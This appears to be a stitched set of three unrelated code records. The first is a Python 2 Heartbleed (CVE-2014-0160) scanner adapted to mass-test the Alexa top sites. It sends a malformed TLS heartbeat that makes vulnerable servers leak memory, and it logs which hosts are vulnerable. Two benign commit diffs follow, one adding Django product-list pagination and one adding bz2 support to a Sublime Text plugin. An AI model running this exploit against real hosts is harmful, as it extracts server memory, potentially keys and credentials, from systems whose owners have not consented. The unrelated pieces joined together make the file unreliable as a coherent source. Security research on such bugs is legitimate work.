# Quickly and dirtily modified by Mustafa Al-Bassam (mus@musalbas.com) to test
# the Alexa top X.

# Usage example: python ssltest.py top-1m.csv 10

import sys
import struct
import socket
import time
import select
import re
import threading
import netaddr
import json
import os
import datetime
import signal
from optparse import OptionParser
from collections import defaultdict
from multiprocessing.dummy import Pool

host_status = {}
hosts_to_skip = []
counter = defaultdict(int)
lock = threading.Lock()

options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerability (CVE-2014-0160) on multiple domains')
options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks or ip addresses, one address per line")
options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination")
options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are already in the logfile")
options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before timing out")
options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads")
options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file")
options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts that have been scanned before and were vulnerable")
options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts that appear in the json file but have not been scanned")
options.add_option('--summary', dest="summary", action="store_true", default=False, help="Read an previously saved json file and print summary")
options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to screen")
options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Usefull with --only-unscanned")
opts, args = options.parse_args()

threadpool = Pool(processes=int(opts.threads))

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            try:
                data = s.recv(remain)
            except Exception, e:
                return None
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return False

        if typ == 24:
            hexdump(pay)
            if len(pay) > 3:
                return True
            else:
                return False

        if typ == 21:
            hexdump(pay)
            return False

def is_vulnerable(host, timeout):
    """ Check if remote host is vulnerable to heartbleed

     Returns:
        None  -- If remote host has no ssl
        False -- Remote host has ssl but likely not vulnerable
        True  -- Remote host might be vulnerable
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(int(timeout))
    try:
        s.connect((host, 443))
    except Exception, e:
        return None
    s.send(hello)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return None
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    s.send(hb)
    return hit_hb(s)

def store_results(host_name, current_status):
    current_time = time.time()
    with lock:
        counter[current_status] += 1
        counter["Total"] += 1
        if host_name not in host_status:
            host_status[host_name] = {}
        host = host_status[host_name]
        # Make a note when this host was last scanned
        host['last_scan'] = current_time

        # Make a note if this host has never been scanned before
        if 'first_scan' not in host:
            host['first_scan'] = current_time
        elif host.get('status', 'never been scanned') != current_status:
            # If it has a different check result from before
            host['changelog'] = host.get('changelog', [])
            changelog_entry = [current_time, current_status]
            host['changelog'].append(changelog_entry)
        host['status'] = current_status
        with open(opts.log_file, 'a') as f:
            message = "{current_time} {host} {current_status}".format(**locals())
            f.write(message + "\n")
            return message

def scan_host(host):
    """ Scans a single host, logs into

    Returns:
        list(timestamp, ipaddress, vulnerabilitystatus)
    """
    if opts.max and int(opts.max) >= counter["Total"]:
        return
    host = str(host)
    if host in hosts_to_skip:
        return
    result = is_vulnerable(host, opts.timeout)
    message = store_results(host, result)
    if opts.verbose:
        print message
    return message

def scan_hostlist(hostlist, threads=5):
    """ Iterates through hostlist and scans them

    Arguments:
        hostlist    -- Iterable with ip addresses
        threads     -- If specified, run in multithreading mode
    """
    task = threadpool.map_async(scan_host, hostlist)
    while True:
        print counter['Total'], "hosts done"
        task.wait(1)
        if task.ready() or hasattr(threadpool, 'done'):
            return
    threadpool.close()
    threadpool.join()

def clean_hostlist(args):
    """ Returns list of iterables
    Examples:
    >>> hostlist = ["127.0.0.1", "127.0.0.2"]
    >>> clean_hostlist(hostlist)
    """
    hosts = []
    networks = []
    for i in args:
        # If it contains any alphanumerics, it might be a domain name
        if any(c.isalpha() for c in i):
            # Special hack, because alexa top x list is kind of weird
            i = i.split('/')[0]
            hosts.append(i)
        # If arg contains a / we assume its a network name
        elif '/' in i:
            networks.append(netaddr.IPNetwork(i))
        else:
            hosts.append(i)
    result = []
    for i in networks:
        result.append(i)
    if hosts:
        result.append(hosts)
    return result

def import_json(filename):
    """ Reads heartbleed data in json format from this file """
    with open(filename) as f:
        json_data = f.read()
    data = json.loads(json_data)
    for k, v in data.items():
        host_status[k] = v

def export_json(filename):
    """ Save scan results into filename as json data
    """
    json_data = json.dumps(host_status, indent=4)
    with open(filename, 'w') as f:
        f.write(json_data)

def print_summary():
    """ Print summary of previously stored json data to screen """
    if not opts.json_file:
        pass
        #options.error("You need to provide --json with --summary")
    else:
        import_json(opts.json_file)
    counter = defaultdict(int)
    for host, data in host_status.items():
        friendly_status = "unknown"
        status = data.get('status', "Not scanned")
        if status is None:
            friendly_status = "SSL Connection Failed"
        elif status is True:
            friendly_status = "Vulnerable"
        elif status is False:
            friendly_status = "Not Vulnerable"
        else:
            friendly_status = str(status)
        last_scan = int(float(data.get('last_scan',0)))
        last_scan = datetime.datetime.fromtimestamp(last_scan).strftime('%Y-%m-%d %H:%M:%S')
        counter[friendly_status] += 1
        counter['Total'] += 1
        if opts.only_vulnerable and not status:
            continue
        elif opts.only_unscanned and 'status' in data:
            continue
        print "%s %-20s %5s" % (last_scan, host, friendly_status)
    print "------------ summary -----------"
    for k,v in counter.items():
        print "%-7s %s" % (v, k)
    return

def signal_handler(signal, frame):
    print "Ctrl+C pressed.. aborting..."
    threadpool.terminate()
    threadpool.done = True

def main():
    if opts.summary:
        print_summary()
        return

    if not args and not opts.input_file and not opts.json_file:
        options.print_help()
        return

    # If --resuem specified, find a list of hosts that we will skip
    if opts.resume:
        if not opts.log_file:
            options.error("You need to provide -l with --resume")
        # Open the logfile, add all hosts there into hosts_to_skip
        with open(opts.log_file) as f:
            for line in f:
                tmp = line.split()
                host = tmp[1]
                if len(tmp) != 3:
                    continue
                if host not in hosts_to_skip:
                    hosts_to_skip.append(host)
        print "Skipping %s hosts" % (len(hosts_to_skip), )

    # If any input files were provided, parse through them and add all addresses to "args"
    for input_file in opts.input_file:
        with open(input_file) as f:
            for line in f:
                words = line.split()
                if not words:
                    continue
                # If input file is in masscan's portscan format
                if line.startswith("Discovered open port"):
                    args.append(words.pop())
                elif len(words) == 1:
                    args.append(words[0])
                else:
                    print "Skipping invalid input line: " % line
                    continue
    if opts.json_file:
        try:
            import_json(opts.json_file)
        except IOError:
            print opts.json_file, "not found. Not importing any data"

        for host_name, data in host_status.items():
            if opts.only_unscanned and 'status' in data:
                continue
            if data.get('status', None) is True or not opts.only_vulnerable:
                args.append(host_name)

    # For every network in args, convert it to a netaddr network, so we can iterate through each host
    remote_networks = clean_hostlist(args)
    for network in remote_networks:
        scan_hostlist(network, threads=opts.threads)

    if opts.json_file:
        export_json(opts.json_file)

    print_summary()

if __name__ == '__main__':
    signal.signal(signal.SIGINT, signal_handler)
    main()
<|endoftext|>


<commit_before>from django.db import models
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _

import plata
from plata.product.models import Category

class ProductList(models.Model):
    only_featured = models.BooleanField(_('featured only'))
    only_sale = models.BooleanField(_('sales only'))
    categories = models.ManyToManyField(Category, blank=True, null=True,
        verbose_name=_('categories'))

    class Meta:
        abstract = True
        verbose_name = _('product list')
        verbose_name_plural = _('product lists')

    def render(self, request, context, **kwargs):
        shop = plata.shop_instance()
        products = shop.product_model.objects.active()

        if self.only_featured:
            products = products.filter(is_featured=True)

        categories = [c.pk for c in self.categories.all()]
        if categories:
            products = products.filter(categories__in=categories)

        if self.only_sale:
            products = [p for p in products if p.in_sale('CHF')]

        return render_to_string('product/product_list.html', {
            'object_list': products,
            }, context_instance=context)
<commit_msg>ProductList: Add pagination setting<commit_after>from django.core.paginator import Paginator, EmptyPage, InvalidPage
from django.db import models
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _

import plata
from plata.product.models import Category

class ProductList(models.Model):
    only_featured = models.BooleanField(_('featured only'))
    only_sale = models.BooleanField(_('sales only'))
    categories = models.ManyToManyField(Category, blank=True, null=True,
        verbose_name=_('categories'))
    paginate_by = models.PositiveIntegerField(_('paginate by'), default=0,
        help_text=_('Set to 0 to disable pagination.'))

    class Meta:
        abstract = True
        verbose_name = _('product list')
        verbose_name_plural = _('product lists')

    def render(self, request, context, **kwargs):
        shop = plata.shop_instance()
        products = shop.product_model.objects.active()

        if self.only_featured:
            products = products.filter(is_featured=True)

        categories = [c.pk for c in self.categories.all()]
        if categories:
            products = products.filter(categories__in=categories)

        if self.only_sale:
            products = [p for p in products if p.in_sale('CHF')]

        my_ctx = {'object_list': products}

        if self.paginate_by:
            paginator = Paginator(products, self.paginate_by)

            try:
                page = int(request.GET.get('page'))
            except (TypeError, ValueError):
                page = 1

            try:
                products = paginator.page(page)
            except (EmptyPage, InvalidPage):
                products = paginator.page(paginator.num_pages)

            my_ctx['page'] = products
            my_ctx['object_list'] = products.object_list

        return render_to_string('product/product_list.html', my_ctx,
            context_instance=context)
<|endoftext|>


<commit_before># encoding: utf-8

import gzip
# import bz2  # FIXME: spits out an error when imported?!?

import sublime
import sublime_plugin

compression_formats = {
    '.gz': gzip.open,
    # '.bz2': bz2.open,
}

def get_decompressor_by_filename(filename):
    for suffix, decompressor in compression_formats.items():
        if filename.endswith(suffix):
            return suffix, decompressor
    return None, None

class DecompressFileCommand(sublime_plugin.TextCommand):
    def run(self, edit, filename=None, suffix=None, decompressor=None):
        if filename is None:
            filename = self.view.file_name()
            if not filename:
                print("can't find filename for decompression")
                return
        if not suffix:
            suffix, decompressor = get_decompressor_by_filename(filename)
            if not suffix or not decompressor:
                print("trying to decompress unknown file format")
                return
        if not decompressor:
            decompressor = compression_formats[suffix]

        view = self.view
        view.set_name(filename[:-len(suffix)])

        pos = 0
        with decompressor(filename) as f:
            for line in f:
                # print(type(line), line)
                pos += view.insert(edit, pos, line.decode('utf-8'))

        view.set_read_only(True)

class OpenCompressedFile(sublime_plugin.EventListener):
    def on_load(self, view):
        filename = view.file_name()
        suffix, decompressor = get_decompressor_by_filename(filename)
        if suffix and decompressor:
            sublime.status_message("opening compressed file: " + filename)
            print("opening compressed file: " + filename)

            decomp_view = view.window().new_file()
            view.close()
            decomp_view.run_command(
                'decompress_file', {'filename': filename, 'suffix': suffix}
            )
<commit_msg>conditionally handle bzip2 files<commit_after># encoding: utf-8

import sublime
import sublime_plugin

import gzip

compression_formats = {
    '.gz': gzip.open,
}

if sublime.version() >= '3114' :
    import bz2
    compression_formats['.bz2'] = bz2.open

def get_decompressor_by_filename(filename):
    for suffix, decompressor in compression_formats.items():
        if filename.endswith(suffix):
            return suffix, decompressor
    return None, None

class DecompressFileCommand(sublime_plugin.TextCommand):
    def run(self, edit, filename=None, suffix=None, decompressor=None):
        if filename is None:
            filename = self.view.file_name()
            if not filename:
                print("can't find filename for decompression")
                return
        if not suffix:
            suffix, decompressor = get_decompressor_by_filename(filename)
            if not suffix or not decompressor:
                print("trying to decompress unknown file format")
                return
        if not decompressor:
            decompressor = compression_formats[suffix]

        view = self.view
        view.set_name(filename[:-len(suffix)])

        pos = 0
        with decompressor(filename) as f:
            for line in f:
                # print(type(line), line)
                pos += view.insert(edit, pos, line.decode('utf-8'))

        view.set_read_only(True)

class OpenCompressedFile(sublime_plugin.EventListener):
    def on_load(self, view):
        filename = view.file_name()
        suffix, decompressor = get_decompressor_by_filename(filename)
        if suffix and decompressor:
            sublime.status_message("opening compressed file: " + filename)
            print("opening compressed file: " + filename)

            decomp_view = view.window().new_file()
            view.close()
            decomp_view.run_command(
                'decompress_file', {'filename': filename, 'suffix': suffix}
            )
<|endoftext|>